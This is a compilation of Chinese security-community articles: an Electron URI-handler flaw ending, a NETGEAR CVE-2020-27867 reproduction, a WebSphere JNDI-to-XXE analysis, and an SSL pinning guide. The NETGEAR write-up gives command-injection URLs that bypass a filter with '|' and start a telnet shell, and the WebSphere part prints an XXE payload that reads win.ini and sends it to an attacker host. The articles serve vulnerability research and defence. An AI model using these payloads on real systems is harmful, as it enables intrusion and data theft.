URI模式的处理程序，整个URI将会替换“%1”字符串并且作为命令行选项传递给处理程序。Microsoft已经在文档中记录了简单字符串替换的潜在安全风险。
Electron.js的开发者不仅在默认情况下没有以安全的方式注册处理程序，他们也没有就微软文档中提出的潜在安全问题进行讨论。我们可以看到[最新版的Electron.js](https://github.com/electron/electron/blob/v3.0.11/atom/browser/browser_win.cc%23L208)中在默认情况下仍然以不安全的方式注册处理程序，并且只包含了一些可能“由非特权用户编写”的最简短的注释。
## 总结
Electron是一种很受欢迎的技术，它利用Chromium封装特定于平台的实现细节，使大量JavaScript开发人员能够快速编写跨平台桌面应用程序。单一技术在计算领域的普及可能会带来方便和效率，但同时，当发现一个关键缺陷时，它也有可能带来广泛的损害。与之前的其他框架一样，Electron需要构建和维护一种方法，以便在漏洞被发现时能快速解决安全问题。还应该在他们的文档中进行改进，以确保开发人员理解使用各种特性的安全性影响。随着其受欢迎程度持续增长，漏洞可能会产生很广泛的影响。
你可以关注我的Twitter[@TrendyTofu](https://twitter.com/TrendyTofu),或者关注我们的[团队](https://twitter.com/thezdi)以了解最新的漏洞利用技术和安全补丁。请继续关注将于明天发布的下一个年度五大漏洞相关博客。 | 社区文章 |
# CVE-2020-27867 NETGEAR 路由器 RCE 漏洞复现及简要分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00.一切开始之前
**美国网件公司** （ **NETGEAR**
）是一家专门做网络设备的公司。在2020年末其旗下多款路由器产品被爆出存在远程代码执行漏洞——mini_httpd 服务中对其提供的 **帆游加速器**
功能的参数解析存在缺陷从而导致可以进行命令注入，从而在远程主机执行任意代码——虽然此种利用需要身份验证，但据悉现有的身份验证机制并不难绕过
在 [cve.mitre.org](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-27867) 上对该漏洞说明如下：
> This vulnerability allows network-adjacent attackers to execute arbitrary
> code on affected installations of NETGEAR R6020, R6080, R6120, R6220, R6260,
> R6700v2, R6800, R6900v2, R7450, JNR3210, WNR2020, Nighthawk AC2100, and
> Nighthawk AC2400 routers. Although authentication is required to exploit
> this vulnerability, the existing authentication mechanism can be bypassed.
> The specific flaw exists within the mini_httpd service, which listens on TCP
> port 80 by default. When parsing the funjsq_access_token parameter, the
> process does not properly validate a user-supplied string before using it to
> execute a system call. An attacker can leverage this vulnerability to
> execute code in the context of root. Was ZDI-CAN-11653.
### 影响版本
参见[官网](https://kb.netgear.com/000062641/Security-Advisory-for-Password-Recovery-Vulnerabilities-on-Some-Routers)
### 复现环境搭建
笔者本人比较穷，买不起网件的路由器，但最终还是有幸从朋友那借来了一台 R6800 机器，得以对该漏洞进行复现
## 0x01.漏洞分析
### 文件提取
首先在[官网](https://www.netgear.com/support/product/R6800.aspx#Firmware%20Version%201.2.0.74)下载对应版本（1.2.0.74）的固件，解压后得到一个
img 镜像文件
使用 binwalk 提取其中的内容：
$ binwalk -e
得到两个文件 `200.zip` 和 `R6950.bin`，其中前者为后者的压缩包，继续使用 binwalk 解压后者，得到的 `squashfs-root` 文件夹便是该设备的文件系统
在文件系统中有着大量的软链接，大部分最终都是指向 `usr/sbin` 目录，相应地 `init` 进程指向的是 `usr/sbin/busybox`
$ ll
total 84
drwxr-xr-x 12 arttnba3 arttnba3 4096 Aug 18 20:14 ./
drwxrwxr-x 3 arttnba3 arttnba3 4096 Aug 18 20:56 ../
lrwxrwxrwx 1 arttnba3 arttnba3 9 Aug 17 2020 bin -> usr/sbin//
drwxrwxr-x 2 arttnba3 arttnba3 4096 Aug 15 2015 data/
drwxr-xr-x 2 arttnba3 arttnba3 4096 Oct 18 2015 dev/
lrwxrwxrwx 1 arttnba3 arttnba3 8 Aug 17 2020 etc -> /tmp/etc
lrwxrwxrwx 1 arttnba3 arttnba3 11 Aug 17 2020 etc_ro -> /tmp/etc_ro
lrwxrwxrwx 1 arttnba3 arttnba3 20 Aug 17 2020 home -> /tmp/home_directory/
lrwxrwxrwx 1 arttnba3 arttnba3 11 Aug 17 2020 init -> bin/busybox*
drwxr-xr-x 6 arttnba3 arttnba3 12288 Aug 17 2020 lib/
drwxr-xr-x 2 arttnba3 arttnba3 4096 Dec 2 2012 media/
lrwxrwxrwx 1 arttnba3 arttnba3 8 Aug 17 2020 mnt -> /tmp/mnt
drwxrwxr-x 6 arttnba3 arttnba3 4096 Aug 17 2020 opt/
drwxr-xr-x 2 arttnba3 arttnba3 4096 Nov 12 2000 proc/
lrwxrwxrwx 1 arttnba3 arttnba3 9 Aug 17 2020 sbin -> usr/sbin//
drwxr-xr-x 2 arttnba3 arttnba3 4096 Nov 16 2008 sys/
drwxr-xr-x 2 arttnba3 arttnba3 4096 Jul 28 2000 tmp/
drwxr-xr-x 11 arttnba3 arttnba3 4096 Aug 18 18:59 usr/
lrwxrwxrwx 1 arttnba3 arttnba3 8 Aug 17 2020 var -> /tmp/var
lrwxrwxrwx 1 arttnba3 arttnba3 8 Aug 17 2020 www -> /tmp/www
drwxrwxr-x 8 arttnba3 arttnba3 32768 Aug 17 2020 www.eng/
在 `usr` 目录下还有一个文件 `funjsq_plugin_netgear_r6800.tar.gz`，解压：
$ tar -zxvf funjsq_plugin_netgear_r6800.tar.gz
./tmp/
./tmp/funjsq/
./tmp/funjsq/bin/
./tmp/funjsq/bin/funjsq_cli
./tmp/funjsq/bin/funjsq_ctl
./tmp/funjsq/bin/funjsq_nslookup
./tmp/funjsq/bin/funjsq_conntime
./tmp/funjsq/bin/funjsq_daemon
./tmp/funjsq/bin/funjsq_detect
./tmp/funjsq/bin/funjsq_dns
./tmp/funjsq/bin/funjsq_httpd
./tmp/funjsq/bin/funjsq_inetd
./tmp/funjsq/bin/funjsq_redis
./tmp/funjsq/bin/funjsq.sh
./tmp/funjsq/config/
./tmp/funjsq/config/dnsmasq.d/
./tmp/funjsq/config/dnsmasq.d/funjsq101.conf
./tmp/funjsq/config/dnsmasq.d/blocklistDL.conf
./tmp/funjsq/config/dnsmasq.d/blocklistGW.conf
./tmp/funjsq/config/dnsmasq.d/funjsq100.conf
./tmp/funjsq/config/values/
./tmp/funjsq/config/funjsqdetect.dat
./tmp/funjsq/config/funjsqMSG.json
./tmp/funjsq/config/funjsq_ca
./tmp/funjsq/config/httpd/
./tmp/funjsq/config/httpd/key.pem
./tmp/funjsq/config/httpd/cert.pem
### 程序分析
在漏洞通告中说到该漏洞存在于 `mini_httpd` 服务中
用 `burp suite`简单测试一下我们可以发现大部分 http 请求都是通过 `setup.cgi` 来进行的，该文件存在于 `/usr/sbin/`
目录下
拖入 IDA进行分析，查找 `funjsq_access_token` 字符串
XREF 到 `sub_407C80()` 函数，其中会通过 `find_val()` 函数提取出 `funjsq_access_token`
参数，进行命令拼接后通过 `COMMAND()`（本质上其实就是 sh）执行，我们不难想到的是 **若是能够插入诸如 “;” 或者 “ &&”
这样的分隔符等，便能够执行我们想要执行的命令，即存在一个命令注入的 RCE 漏洞**
调用回溯，发现一张如下结构的函数表，我们的 `sub_407C80()` 刚好对应 `funjsq_login`：
struct typedef
{
char * func_name;
void (*func_ptr)();
}StrFunc;
我们可以发现在 `CallActionByName()` 函数中会根据传入的字符串通过函数表调用对应的函数
最后回溯到 main 函数，我们可以发现对于传入的 todo 参数而言其会调用 `CallActionByName()` 函数进行解析
在 main 函数中执行到该段代码之前还有一系列的检查，不过 **主要针对 POST 请求** ，故我们可以直接走 GET 请求来避免一系列的检查
最终我们可以知道通过如下 payload 便能够跳转到出现问题的 `sub_407C80()` 函数：
http://192.168.1.1/setup.cgi?todo=funjsq_login&next_file=basic_wait.htm&funjsq_access_token=
> 在 `find_val()` 中还会对命令注入进行过滤，不过功能较弱
## 0x02.漏洞利用
**该漏洞仅验证用户（可以登入路由器页面）可以使用** ，常规情况下则还需要想方法绕过用户验证，本篇漏洞利用假定是已经成功绕过路由器登入页面的情况
### poc
在 mini_httpd 服务中似乎 **有着一定的过滤的机制** ，诸如 `;`、`&&`、`||`等都会被过滤掉，直接返回 403
最终笔者使用`|` **成功绕过** ，笔者在这里选择执行 `ping` 指令简单看一下效果
http://192.168.1.1/setup.cgi?todo=funjsq_login&next_file=basic_wait.htm&funjsq_access_token=|ping%20-c5%20sec.arttnba3.cn
若是成功进入执行命令的流程则应当有如下回显，见到这个回显说明代码成功执行到了该处
笔者使用 `tcpdump -i eth0 icmp` 命令在服务器上查看发现果然成功收到了来自该路由器的 ping 包，命令执行成功
> 需要注意的是 `COMMAND()` 执行命令时会等待其返回才会执行下一条命令，故若是需要同时执行多个命令应当使用
> `&`（url编码`%26`）将一些长期执行的命令转入后台执行，否则其会一直等待当前命令执行完毕后才会执行下一条命令
### exp
这台机子自带 `telnet`，直接通过 telnet 连接上去即可
http://192.168.1.1/setup.cgi?todo=funjsq_login&next_file=basic_wait.htm&funjsq_access_token=|utelnetd%26
运行，成功通过 telnet 连接获取到一个 shell
## 0xFF.What’s more?
通过分析这个漏洞，我们不难发现 **其逻辑本质上是十分简单的** ，至少就其利用难度而言算，这算是在软件开发过程中犯的一个比较初级的错误，但是
**若是我们想到在这背后的是美国网件公司——一家规模十分巨大的网络设备公司，我相信大家就会不寒而栗了**
Netgear 是否真的不重视安全问题？似乎并非如此，在上面的分析中我们还是能够看到针对代码注入的风险，在固件中还是存在着检测的，
**但是检测机制十分简陋，好像也并不是那么地重视** ，或许只是为了KPI，但
**如果连这样的大公司都不够注重安全问题，那么小公司又如何呢？我们是否生活在一个充满着漏洞的世界？**
转念一想，在大一的C语言入门课上，大家最初学到的读入字符串的函数之一是gets还是fgets？是否有老师说明过在 scanf
中不要使用%s？在工程代码中使用printf直接打印字符串时是否意识到格式字符串漏洞的存在？
笔者认为，
**「安全问题本质上还是人的问题」，本质上还是我们开发者没有给予安全问题以足够的重视，这才让近些年来一些本质上十分基础但又危害性极大的的安全漏洞被一个接着一个地曝光，只有我们每一位开发者都真正重视起安全问题，很多没有必要的损失才能得以避免** | 社区文章 |
**作者：Longofo@知道创宇404实验室 & r00t4dm@奇安信A-TEAM**
**时间：2020年9月21日**
2020年9月17日，IBM发布了一个WebSphere
XXE[漏洞公告](https://www.ibm.com/support/pages/security-bulletin-websphere-application-server-vulnerable-information-exposure-vulnerability-cve-2020-4643)。
当时看到这个消息心想我们挖的那个XXE很可能与这个重了。然后看了下补丁，果不其然，当时心里就很遗憾，本来是打算一起找到一个RCE漏洞在一起提交XXE漏洞的，因为害怕提交了XXE官方把反序列化入口也封了，例如CVE-2020-4450，直接封掉了反序列化入口。奈何WebSphere找了一两周也没什么发现，后来正打算把XXE提交了，就看到官方发布了公告，看了下作者，是绿盟的一位大佬，也是CVE-2020-4450的发现者之一，这些默默挖洞的大佬，只可远观眺望啊。WebSphere的分析似乎挺少，聊聊几篇分析，不像Weblogic那样量产漏洞，单是一个高版本sdk就拦截了很多链或者说连接可用链的点，心想与其烂在手里，还不如分享出来，下面写下我们发现过程，其实重要的不是这个XXE，而是到达XXE这个点的前半部分。
#### 补丁
先来看看补丁，只能看出是修复了一个XXE，不知道是哪儿的XXE：
可以看出这里是修复了一个XXE漏洞，但是这只是一个Utils，我们找到的那个XXE刚好也用了这个Utils。
#### 漏洞分析
最开始研究WebSphere就是前不久的CVE-2020-4450，这个漏洞外面已经有分析了。为了更熟悉一点WebSphere，我们也去研究了历史补丁，例如印象比较深的就是前不久的CVE-2020-4276，这个漏洞算是历史漏洞CVE-2015-7450的认证方式绕过，RCE的过程与CVE-2015-7450没区别。后面意外的找到另一个反序列化入口，在确认了已经无法在历史漏洞上做文章的时，只好从readObject、readExternal、toString、compare等函数去尝试找下了，后来在一个readObject找到一个能JNDI注入的地方，但是由于sdk高版本的原因，能利用的方式就只能是本地factory或利用jndi本地反序列化了，但是WebSphere公开的利用链都被堵上了，本地反序列化其实没什么作用在这里，所以只剩下看本地Factory了。反序列化入口暂时先不给出，可能这样的反序列化入口还有很多，我们碰巧遇到了其中一个，如果后面有幸找到了RCE漏洞，就把我们找到的入口写出来，下面从那个readObject中的JNDI开始吧。
在`com.ibm.ws.ejb.portable.EJBMetaDataImpl#readObject`中：
private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
try {
in.defaultReadObject();
...
...
this.ivStatelessSession = in.readBoolean();
ClassLoader loader = (ClassLoader)AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
return Thread.currentThread().getContextClassLoader();
}
});
this.ivBeanClassName = in.readUTF();
this.ivHomeClass = loader.loadClass(in.readUTF());
this.ivRemoteClass = loader.loadClass(in.readUTF());
if (!this.ivSession) {
this.ivPKClass = loader.loadClass(in.readUTF());
}
this.ivHomeHandle = (HomeHandle)in.readObject();
EJBHome ejbHomeStub = this.ivHomeHandle.getEJBHome();//ivHomeHandle是一个接口，我们找到了HomeHandleImpl，里面进行了JNDI查询，并且url可控
this.ivEjbHome = (EJBHome)PortableRemoteObject.narrow(ejbHomeStub, this.ivHomeClass);//如果跟踪过CVE-2020-4450就能感觉到，这里十分类似CVE-2020-4450，不过缺少了后续的调用，无法像CVE-2020-4450利用WSIF的方式触发后续的RCE，WSIF之前那个XXE也被修复了
} catch (IOException var6) {
throw var6;
} catch (ClassNotFoundException var7) {
throw var7;
}
}
`com.ibm.ws.ejb.portable.HomeHandleImpl#getEJBHome`如下：
public EJBHome getEJBHome() throws RemoteException {
if (this.ivEjbHome == null) {
NoSuchObjectException re;
...
...
InitialContext ctx;
try {
if (this.ivInitialContextProperties == null) {
ctx = new InitialContext();
} else {
try {
ctx = new InitialContext(this.ivInitialContextProperties);
} catch (NamingException var5) {
ctx = new InitialContext();
}
}
this.ivEjbHome = (EJBHome)PortableRemoteObject.narrow(ctx.lookup(this.ivJndiName), homeClass);//进行了JNDI查询，ivJndiName是属性，很容易控制
} catch (NoInitialContextException var6) {
Properties p = new Properties();
p.put("java.naming.factory.initial", "com.ibm.websphere.naming.WsnInitialContextFactory");
ctx = new InitialContext(p);
this.ivEjbHome = (EJBHome)PortableRemoteObject.narrow(ctx.lookup(this.ivJndiName), homeClass);
}
...
...
return this.ivEjbHome;
}
如果是sdk低版本，直接就是外部加载factory rce利用了，但是天不随人愿，如果这么容易就不会有CVE-2020-4450那种复杂的利用了。
接下来就只能一个一个看本地的factory了，也不多大概几十个，一个一个看吧。在`com.ibm.ws.webservices.engine.client.ServiceFactory#getObjectInstance`中，找到了那个XXE：
public Object getObjectInstance(Object refObject, Name name, Context nameCtx, Hashtable environment) throws Exception {
Object instance = null;
if (refObject instanceof Reference) {
Reference ref = (Reference)refObject;
RefAddr addr = ref.get("service classname");
Object obj = null;
if (addr != null && (obj = addr.getContent()) instanceof String) {
instance = ClassUtils.forName((String)obj).newInstance();
} else {
addr = ref.get("WSDL location");
if (addr != null && (obj = addr.getContent()) instanceof String) {
URL wsdlLocation = new URL((String)obj);
addr = ref.get("service namespace");
if (addr != null && (obj = addr.getContent()) instanceof String) {
String namespace = (String)obj;
addr = ref.get("service local part");
if (addr != null && (obj = addr.getContent()) instanceof String) {
String localPart = (String)obj;
QName serviceName = QNameTable.createQName(namespace, localPart);
Class[] formalArgs = new Class[]{URL.class, QName.class};
Object[] actualArgs = new Object[]{wsdlLocation, serviceName};
Constructor ctor = Service.class.getDeclaredConstructor(formalArgs);
instance = ctor.newInstance(actualArgs);//调用了Service构造函数
}
}
}
}
addr = ref.get("maintain session");
if (addr != null && instance instanceof Service) {
((Service)instance).setMaintainSession(true);
}
}
return instance;
}
`com.ibm.ws.webservices.engine.client.Service#Service(java.net.URL,
javax.xml.namespace.QName)`，在构造函数中：
public Service(URL wsdlLocation, QName serviceName) throws ServiceException {
if (log.isDebugEnabled()) {
log.debug("Entry Service(URL, QName) " + serviceName.toString());
}
this.serviceName = serviceName;
this.wsdlLocation = wsdlLocation;
Definition def = cachingWSDL ? (Definition)cachedWSDL.get(wsdlLocation.toString()) : null;
if (def == null) {
Document doc = null;
try {
doc = XMLUtils.newDocument(wsdlLocation.toString());//wsdlLocation外部可控，这里XMLUtils.newDocument进去就请求了wsdlLocation获取xml文件并解析
} catch (Exception var8) {
FFDCFilter.processException(var8, "com.ibm.ws.webservices.engine.client.Service.initService", "199", this);
throw new ServiceException(Messages.getMessage("wsdlError00", "", "\n" + var8));
}
try {
WSDLFactory factory = new WSDLFactoryImpl();
WSDLReader reader = factory.newWSDLReader();
reader.setFeature("javax.wsdl.verbose", false);
def = reader.readWSDL(wsdlLocation.toString(), doc);//一开始我们只停留在了上面那个XMLUtils.newDocument，利用那儿的异常带不出去数据，由于是高版本sdk，外带也只能带一行数据。后来看到reader.readWSDL进去还能利用另一种方式外带全部数据
if (cachingWSDL) {
cachedWSDL.put(wsdlLocation.toString(), def);
}
} catch (Exception var7) {
FFDCFilter.processException(var7, "com.ibm.ws.webservices.engine.client.Service.initService", "293", this);
throw new ServiceException(Messages.getMessage("wsdlError00", "", "\n" + var7));
}
}
this.initService(def);
if (log.isDebugEnabled()) {
log.debug("Exit Service(URL, QName) ");
}
}
`com.ibm.wsdl.xml.WSDLReaderImpl#readWSDL(java.lang.String,
org.w3c.dom.Document)`之后，会调用到一个`com.ibm.wsdl.xml.WSDLReaderImpl#parseDefinitions`：
protected Definition parseDefinitions(String documentBaseURI, Element defEl, Map importedDefs) throws WSDLException {
checkElementName(defEl, Constants.Q_ELEM_DEFINITIONS);
WSDLFactory factory = this.getWSDLFactory();
Definition def = factory.newDefinition();
if (this.extReg != null) {
def.setExtensionRegistry(this.extReg);
}
String name = DOMUtils.getAttribute(defEl, "name");
String targetNamespace = DOMUtils.getAttribute(defEl, "targetNamespace");
NamedNodeMap attrs = defEl.getAttributes();
if (importedDefs == null) {
importedDefs = new Hashtable();
}
if (documentBaseURI != null) {
def.setDocumentBaseURI(documentBaseURI);
((Map)importedDefs).put(documentBaseURI, def);
}
if (name != null) {
def.setQName(new QName(targetNamespace, name));
}
if (targetNamespace != null) {
def.setTargetNamespace(targetNamespace);
}
int size = attrs.getLength();
for(int i = 0; i < size; ++i) {
Attr attr = (Attr)attrs.item(i);
String namespaceURI = attr.getNamespaceURI();
String localPart = attr.getLocalName();
String value = attr.getValue();
if (namespaceURI != null && namespaceURI.equals("http://www.w3.org/2000/xmlns/")) {
if (localPart != null && !localPart.equals("xmlns")) {
def.addNamespace(localPart, value);
} else {
def.addNamespace((String)null, value);
}
}
}
for(Element tempEl = DOMUtils.getFirstChildElement(defEl); tempEl != null; tempEl = DOMUtils.getNextSiblingElement(tempEl)) {
if (QNameUtils.matches(Constants.Q_ELEM_IMPORT, tempEl)) {
def.addImport(this.parseImport(tempEl, def, (Map)importedDefs));
} else if (QNameUtils.matches(Constants.Q_ELEM_DOCUMENTATION, tempEl)) {
def.setDocumentationElement(tempEl);
} else if (QNameUtils.matches(Constants.Q_ELEM_TYPES, tempEl)) {
def.setTypes(this.parseTypes(tempEl, def));
} else if (QNameUtils.matches(Constants.Q_ELEM_MESSAGE, tempEl)) {
def.addMessage(this.parseMessage(tempEl, def));
} else if (QNameUtils.matches(Constants.Q_ELEM_PORT_TYPE, tempEl)) {
def.addPortType(this.parsePortType(tempEl, def));
} else if (QNameUtils.matches(Constants.Q_ELEM_BINDING, tempEl)) {
def.addBinding(this.parseBinding(tempEl, def));
} else if (QNameUtils.matches(Constants.Q_ELEM_SERVICE, tempEl)) {
def.addService(this.parseService(tempEl, def));
} else {
def.addExtensibilityElement(this.parseExtensibilityElement(Definition.class, tempEl, def));
}
}
this.parseExtensibilityAttributes(defEl, Definition.class, def, def);
return def;
}
`com.ibm.wsdl.xml.WSDLReaderImpl#parseImport`:
protected Import parseImport(Element importEl, Definition def, Map importedDefs) throws WSDLException {
Import importDef = def.createImport();
String locationURI;
try {
String namespaceURI = DOMUtils.getAttribute(importEl, "namespace");
locationURI = DOMUtils.getAttribute(importEl, "location");//获取location属性
String contextURI = null;
if (namespaceURI != null) {
importDef.setNamespaceURI(namespaceURI);
}
if (locationURI != null) {
importDef.setLocationURI(locationURI);
if (this.importDocuments) {
try {
contextURI = def.getDocumentBaseURI();
Definition importedDef = null;
InputStream inputStream = null;
InputSource inputSource = null;
URL url = null;
if (this.loc != null) {
inputSource = this.loc.getImportInputSource(contextURI, locationURI);
String liu = this.loc.getLatestImportURI();
importedDef = (Definition)importedDefs.get(liu);
if (inputSource.getSystemId() == null) {
inputSource.setSystemId(liu);
}
} else {
URL contextURL = contextURI != null ? StringUtils.getURL((URL)null, contextURI) : null;
url = StringUtils.getURL(contextURL, locationURI);
importedDef = (Definition)importedDefs.get(url.toString());
if (importedDef == null) {
inputStream = StringUtils.getContentAsInputStream(url);//进行了请求，可以通过这个请求将数据外带，但是还是有些限制，例如有&或"等字符的文件会报错导致带不了
...
...
xml payload:
xml如下：
<!DOCTYPE x [
<!ENTITY % aaa SYSTEM "file:///C:/Windows/win.ini">
<!ENTITY % bbb SYSTEM "http://yourip:8000/xx.dtd">
%bbb;
]>
<definitions name="HelloService" xmlns="http://schemas.xmlsoap.org/wsdl/">
&ddd;
</definitions>
xx.dtd如下：
<!ENTITY % ccc '<!ENTITY ddd '<import namespace="uri" location="http://yourip:8000/xxeLog?%aaa;"/>'>'>%ccc;
#### 最后
我们只看了浮在表面上的一些地方，人工最多只看了两层调用，也许RCE隐藏在更深的地方或者知识盲点现在没找到呢，还是得有个属于自己的能查找链的工具，工具不会累，人会。
* * * | 社区文章 |
# SSL Pinning Practice
**Author:瘦蛟舞**
**Create:20180326**
承接接上篇 <https://xz.aliyun.com/t/2336>
关键词:
* SSL pinning/Public key pinning/Certificate pinning/Domain pinning
* 证书锁定/证书固定
## 0x01 证书锁定的收益
安全性提升,更加有效覆盖对抗中间人攻击场景.
证书锁定本质是对抗中间人攻击.并非用于对抗破解抓包的.但如果程序逻辑未被注入运行在"可信环境"中倒是有些作用.
ssl对抗的攻击场景:
* 中间人攻击部分场景
* ARP欺骗
* DNS劫持
* 钓鱼WIFI
* 伪基站
ssl pinning新增对抗场景:
* 客户端安装恶意证书
* 一些WiFi需要你添加根证书信任才能使用互联网
* 一些网站需要你添加根证书信任才能不反复红叉提示
* 其他CA恶意签发站点证书
* WoSign和Symantec都有过一段时期签发的证书不受信任的历史<https://news.mindynode.com/zh/events/50> (还有StartCom和CNNIC)
**因为发现赛门铁克签发了大量有问题的证书,Google官方博客公布了 Chrome 浏览器不信任赛门铁克证书的时间表：**
> 2017 年 10 月发布的 Chrome 62 将在 DevTools 中加入对即将不受信任的赛门铁克证书的警告；
>
> 2017 年 12 月 1 日,DigiCert 将接手赛门铁克的证书签发业务；
>
> 2018 年 4 月 17 日发布的 Chrome 66 将不信任 2016 年 6 月 1 日之前签发的证书；
>
> 2018 年 10 月 23 日发布的 Chrome 70 将停止信任赛门铁克的旧证书.
受影响的赛门铁克 CA 品牌包括 Thawte、VeriSign、Equifax、GeoTrust 和
RapidSSL,几个独立运作密钥不受赛门铁克控制的次级 CA 得到了豁免,其中包括苹果和 Google.Google
建议使用赛门铁克证书的网站及时更新到受信任证书.
## 0x02 业务证书锁定方案选择
PM和开发让我给他讲下SSL Pinning,于是从中间人攻击和证书链开始balabla讲了一堆.
PM:哦,就是证书白名单吧
我:emmmm,是
开发:不想听你Balabala一堆,有没有简单的方法梭哈一把干?
我:emmmm,有
**抽象业务场景分类如下:**
* 单发app,大多数是这种情况.可以直接选择开源库TrustKit.
* 再细分金融,商场,游戏等.根据自身业务特性以及对安全等级的要求选择0x04中所述方案.
* SDK.可以考虑使用文中提供的SSLPinKit工具类(只有安卓的).
* 再细分账号,统计等.根据自身业务特性以及对安全等级的要求选择0x04中所述方案.
* 系统组件android 7.0 N 以上,可以直接配置network-security-config.
**单发APP推荐TrustKit的理由:**
* android 7.0 + 使用系统原生锁定方案,而7.0 Nougat之前则TrustKit自己逻辑实现锁定.但是对于使用者来说配置方法都是一致的比较优雅(只需要配置network-security-config).
* 简单易用兼容性好,支持证书更新,证书备份等等.
* 同时有成熟的iOS库
<https://github.com/datatheorem/TrustKit-Android>
<https://github.com/datatheorem/TrustKit>
## 0x03 证书锁定的理论基础
理解文章可能需要如下知识.可以跳过此环节.
**可信CA** :CA(Certificate
Authority)是数字证书[认证中心](https://baike.baidu.com/item/%E8%AE%A4%E8%AF%81%E4%B8%AD%E5%BF%83)的简称,是指发放、管理、废除数字证书的机构.CA的作用是检查证书持有者身份的合法性,并签发证书,以防证书被伪造或篡改,以及对证书和密钥进行管理.
**双向锁定** :在客户端锁定服务端证书的基础上,服务端对客户端的证书也进行锁定,需要客户端再做一次证书预埋.多见于金融业务.
**证书链** :证书链就是Root CA签发二级Intermediate CA,二级Intermediate CA可以签发三级Intermediate
CA,也可以直接签发用户证书.从Root CA到用户证书之间构成了一个信任链:信任Root CA,就应该信任它所信任的二级Intermediate
CA,从而就应该信任三级Intermediate CA直至信任用户证书.
**逐级验证** :客户端对于收到的多级证书,需要从站点证书(leaf certificate)开始逐级验证, 直至出现操作系统或浏览器内置的受信任CA
根证书(root certificate).
**通常逐级检测点如下:**
* 是否由上级证书签发
* 是否吊销
* 是否过期
* 是否遵循上级证书的策略
## 0x04 证书锁定方案对比
先梳理下对证书处理的几种策略
### 站点证书锁定 leaf certificate pinning
首先考虑的锁定站点证书,这种策略安全性是肯定的,但是有个缺陷就是需要维护预埋证书.如果你没考虑过更新预埋证书会怎么样了?拿一个开源项目举例.
<https://github.com/menjoo/Android-SSL-Pinning-WebViews>
(没错,又是它.之前SSL解锁的文章也是拿他举例.)
例子中的网站 <https://www.infosupport.com/> 证书已经更新过一次,代码中的证书key是2015年的
而线上证书已于2017年更换,所以导致pinning失效,直接粗暴pinning可能导致业务无法访问.
现在的站点证书一般有效期在1到2年,所以做站点证书锁定还要保证服务可用性的话就得必须实现客户端锁定证书指纹的更新.
但是更新证书的网络请求该如何处理,有如下选择:
* 指纹更新请求被劫持到的概率比较低,不锁定更新指纹请求直接使用https完成.缺点是安全性稍弱.
* 自签名证书的有效期非常长,用自签名证书锁定指纹更新请求.缺点是兼容性稍弱.
客户端的工作基本梳理完成,服务端需要实现证书指纹下发接口.还有每到证书即将过期的时候需要有人将的证书指纹配置进入.这里虽然提取指纹配置可以由代码实现,但是签发证书是由第三方CA完成的,所以离不开人对接.
整个锁定逻辑每隔一段时间(站点证书过期节点),需要有认为介入才能维持服务可用性.因为"人"这个X因素的引入会给业务稳定性带来极大风险,在大多数场景下不合理的.
先挂起这个安全性很高但是实现较为复杂且的方案,进入下一锁定策略.
### 中间证书锁定 Intermediate certificate pinning
锁定中间证书或根证书的优势是安全性接近锁定站点证书,且这两证书的有效期一般很长,很多都是15年到30年,所以暂不考虑热更新证书指纹.没准十几年后区块链去中心化就把CA给去掉了.
除证书有效期时间长的优势,锁定间证书或根证书还可以更好的兼顾业复杂的业务线,因为企业子域名很多情况下都是自己业务的站点证书,但是一个企业通常站点证书都是由一个中间证书(根证书)签下来.所以锁定间证书或根证书不用特别对每个业务线做调整,一套策略或者方案基本可以适用企业整个业务线.
先尝试中间证书的锁定方案,这里Comodo的中间证书超期时间为2029,距到期还有十来年超过了大多数的产品的生命中求.这么久的时间窗口,完全可以让指纹随着应用更新完成迭代.
但是锁定中间证书的方案会遇到一个问题,那就是更换证书CA(数字证书颁发机构).这就需要通过备份一些可能会用的到CA指纹.中间证书的量级相对于根证书要高出很多,而且也不好预测将来可能会更换到哪些中间证书.
先挂起这个安全性不错但是,冗余相对难操作的方案,进入下一锁定策略.
### 根证书锁定 Root certificate pinning
参考操作系统更新预埋CA根证书的机制,通过自升级完成锁定CA的指纹更新.Android
N系统约内置了150多个系统根证书.而实际作为一个应用是不需要信任这么多CA的根证书的.可靠卖证书的CA就那么十来家,业务的安全需求决定了你需要哪类证书.这样备份证书的范围就收窄了,且根证书的数量级相对小.所以就没中间证书备份难的问题.
目前主流的SSL证书主要分为 DV < OV < EV,安全性和价格一次递增的.
DV和OV型证书最大的差别是：DV型证书不包含企业名称信息；而OV型证书包含企业名称信息,以下是两者差别对比表：
OV型和EV型证书,都包含了企业名称等信息,但EV证书因为其采用了更加严格的认证标准,浏览器会对EV证书"标绿"+"ID显示"(是的,VIP绿钻待遇,凸显尊贵身份).
综合看来根锁定策略的安全性,实施难度现在看来是比较适合账号业务的.接下来就是备份证书的选择.
备份锁定证书的主要的考量因素:
* 有效期
* 安全性
* 兼容性
下图是win7的内置根证书,其中有相对效期较长CA分别有:Godaddy,DigiCert,Thawte.这三家在win7的这四个根证书均在2031年之后才生效.建议选择这类根作为备份,因为这些有效期长且在较早的系统版本中预埋,说明兼容性也过关.如果对安全性有更改追求可以预埋些EV证书比如DigiCert
High Assurance EV Root CA.
其中GoDaddy Class 2 Certification Authority Root Certificate是交叉证书,根证书交叉链的示意图如下.
Godaddy G1和G2真实的交叉状态如下,也就是G1个G2两个根都能验过交叉中间证书签发的站点证书.这样情况建议将G1和G2的根均做预埋备份.
解决证书备份后问题,比如锁的根2031年到期,2031年之后应该如何处理.锁定超期是否应该拒绝连接?根据业务特性做选择:
* 拒绝连接,安全优先
* 允许连接,可用优先
* 提示风险让用户选择,折中策略
android 8.0.0 下京东的锁定异常选择提示如下图 (android 6.0.1中没有此检测)
### 客户端系统证书锁定 system ca pinning
这个锁定方案相对前三个要保守许多,安全性提升也相对有限,所以业务代码出问题的概率也变的极小.
你需要做的仅仅是将通用操作系统中用户安装的第三方证书移除APP的证书信任列表.Android7.0后已经开始默认支持此特性,可以通过network-security-config更改配置.
> 在 Android 7.0 中,通过使用说明性 _“网络安全性配置”_ (而不是使用传统的易出错的编程
> API,例如>X509TrustManager),应用可以安全地自定义其安全(HTTPS、TLS)连接的行为,无需任何代码修改.
>
> 支持的功能：
>
> * **自定义信任锚** :让应用可以针对安全连接自定义哪些证书颁发机构 (CA) 值得信赖.例如,信任特定的自签>署证书或限制应用信任的公共 CA
